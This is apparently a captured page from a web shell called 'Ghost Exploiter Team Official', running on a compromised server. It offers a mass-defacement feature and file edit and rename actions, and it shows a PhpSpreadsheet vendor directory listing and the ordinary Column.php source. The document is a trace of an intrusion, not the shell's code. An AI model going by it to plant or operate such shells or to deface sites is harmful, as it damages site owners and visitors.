Ghost Exploiter Team Official
Mass Deface
Directory >>
/
var
/
www
/
html
/
back
/
vendor
/
phpoffice
/
phpspreadsheet
/
src
/
PhpSpreadsheet
/
Worksheet
/
Mass Deface Auto Detect Domain
/*Ubah Ke document_root untuk mass deface*/
File / Folder
Size
Action
.
-
type
file
dir
+File/Dir
AutoFilter
--
ren
Drawing
--
ren
Table
--
ren
AutoFilter.php
40.683KB
edt
ren
AutoFit.php
1.679KB
edt
ren
BaseDrawing.php
11.512KB
edt
ren
CellIterator.php
2.063KB
edt
ren
Column.php
3.97KB
edt
ren
ColumnCellIterator.php
5.414KB
edt
ren
ColumnDimension.php
3.294KB
edt
ren
ColumnIterator.php
4.385KB
edt
ren
Dimension.php
2.235KB
edt
ren
Drawing.php
7.759KB
edt
ren
HeaderFooter.php
11.167KB
edt
ren
HeaderFooterDrawing.php
0.436KB
edt
ren
Iterator.php
1.235KB
edt
ren
MemoryDrawing.php
8.676KB
edt
ren
PageBreak.php
1.341KB
edt
ren
PageMargins.php
3.22KB
edt
ren
PageSetup.php
26.651KB
edt
ren
Protection.php
10.413KB
edt
ren
Row.php
3.977KB
edt
ren
RowCellIterator.php
5.833KB
edt
ren
RowDimension.php
2.666KB
edt
ren
RowIterator.php
3.527KB
edt
ren
SheetView.php
3.938KB
edt
ren
Table.php
16.886KB
edt
ren
Validations.php
4.556KB
edt
ren
Worksheet.php
118.825KB
edt
ren
<?php namespace PhpOffice\PhpSpreadsheet\Worksheet; class Column { /** * \PhpOffice\PhpSpreadsheet\Worksheet\Worksheet. * * @var Worksheet */ private $worksheet; /** * Column index. * * @var string */ private $columnIndex; /** * Create a new column. * * @param string $columnIndex */ public function __construct(Worksheet $worksheet, $columnIndex = 'A') { // Set parent and column index $this->worksheet = $worksheet; $this->columnIndex = $columnIndex; } /** * Destructor. */ public function __destruct() { // @phpstan-ignore-next-line $this->worksheet = null; } /** * Get column index as string eg: 'A'. */ public function getColumnIndex(): string { return $this->columnIndex; } /** * Get cell iterator. * * @param int $startRow The row number at which to start iterating * @param int $endRow Optionally, the row number at which to stop iterating */ public function getCellIterator($startRow = 1, $endRow = null): ColumnCellIterator { return new ColumnCellIterator($this->worksheet, $this->columnIndex, $startRow, $endRow); } /** * Get row iterator. Synonym for getCellIterator(). * * @param int $startRow The row number at which to start iterating * @param int $endRow Optionally, the row number at which to stop iterating */ public function getRowIterator($startRow = 1, $endRow = null): ColumnCellIterator { return $this->getCellIterator($startRow, $endRow); } /** * Returns a boolean true if the column contains no cells. By default, this means that no cell records exist in the * collection for this column. false will be returned otherwise. * This rule can be modified by passing a $definitionOfEmptyFlags value: * 1 - CellIterator::TREAT_NULL_VALUE_AS_EMPTY_CELL If the only cells in the collection are null value * cells, then the column will be considered empty. * 2 - CellIterator::TREAT_EMPTY_STRING_AS_EMPTY_CELL If the only cells in the collection are empty * string value cells, then the column will be considered empty. * 3 - CellIterator::TREAT_NULL_VALUE_AS_EMPTY_CELL | CellIterator::TREAT_EMPTY_STRING_AS_EMPTY_CELL * If the only cells in the collection are null value or empty string value cells, then the column * will be considered empty. * * @param int $definitionOfEmptyFlags * Possible Flag Values are: * CellIterator::TREAT_NULL_VALUE_AS_EMPTY_CELL * CellIterator::TREAT_EMPTY_STRING_AS_EMPTY_CELL * @param int $startRow The row number at which to start checking if cells are empty * @param int $endRow Optionally, the row number at which to stop checking if cells are empty */ public function isEmpty(int $definitionOfEmptyFlags = 0, $startRow = 1, $endRow = null): bool { $nullValueCellIsEmpty = (bool) ($definitionOfEmptyFlags & CellIterator::TREAT_NULL_VALUE_AS_EMPTY_CELL); $emptyStringCellIsEmpty = (bool) ($definitionOfEmptyFlags & CellIterator::TREAT_EMPTY_STRING_AS_EMPTY_CELL); $cellIterator = $this->getCellIterator($startRow, $endRow); $cellIterator->setIterateOnlyExistingCells(true); foreach ($cellIterator as $cell) { /** @scrutinizer ignore-call */ $value = $cell->getValue(); if ($value === null && $nullValueCellIsEmpty === true) { continue; } if ($value === '' && $emptyStringCellIsEmpty === true) { continue; } return false; } return true; } /** * Returns bound worksheet. */ public function getWorksheet(): Worksheet { return $this->worksheet; } }
<=Back
Liking